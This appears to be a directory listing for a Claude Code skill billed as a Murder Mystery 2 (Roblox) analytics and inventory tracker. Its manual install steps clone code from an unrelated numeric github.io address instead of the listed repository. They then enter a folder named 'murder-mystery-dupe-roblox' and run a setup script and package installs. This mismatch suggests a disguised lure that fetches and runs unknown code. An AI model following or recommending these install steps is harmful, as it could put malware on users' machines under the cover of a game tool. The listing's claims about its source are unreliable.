Mm2 Analytics Roblox Tracker
If you're into Murder Mystery 2 on Roblox and want to track your knife skins, win rates, and gameplay patterns, this toolkit gives you a Python-based analytics dashboard with inventory management and strategy analysis. It scans your collection, visualizes performance metrics by role, and can even hook into OpenAI or Claude for AI-powered gameplay suggestions. The setup is straightforward with both automated and manual install options, and it exports to JSON or CSV if you want to analyze data elsewhere. Honestly, it's more feature-rich than you'd expect for a Roblox game tracker, with live tracking, scheduled reports, and a full Python API for custom integrations.
- skills.sh installs
- 1.8K
- GitHub stars
- 2
- last updated
- Jul 14, 2026
Install
$ npx -y skills add aradotso/data-skills --skill mm2-analytics-roblox-tracker --agent claude-codeInstalls into .claude/skills of the current project.
Files
MM2 Analytics Roblox Tracker
Skill by ara.so — Data Skills collection.
This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights.
What It Does
The MM2 Analytics Dashboard offers:
- Inventory Management: Track knife skins, gamepasses, and collection completeness
- Analytics Engine: Visualize win/loss ratios, performance metrics, and strategy patterns
- AI-Powered Insights: Pattern recognition and predictive modeling for inventory values
- Multi-platform Support: Desktop, tablet, mobile, and web browser compatibility
- Export Capabilities: Export statistics in JSON/CSV formats
Installation
Automated Setup
chmod +x setup.sh
./setup.sh --install
Manual Installation
# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
# Install dependencies
npm install
python3 -m pip install -r requirements.txt
System Requirements
Sponsors
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- Repository
- github.com/aradotso/data-skills
- Categories
- Data Science & ML, Marketing & SEO
- First seen
- Jul 14, 2026
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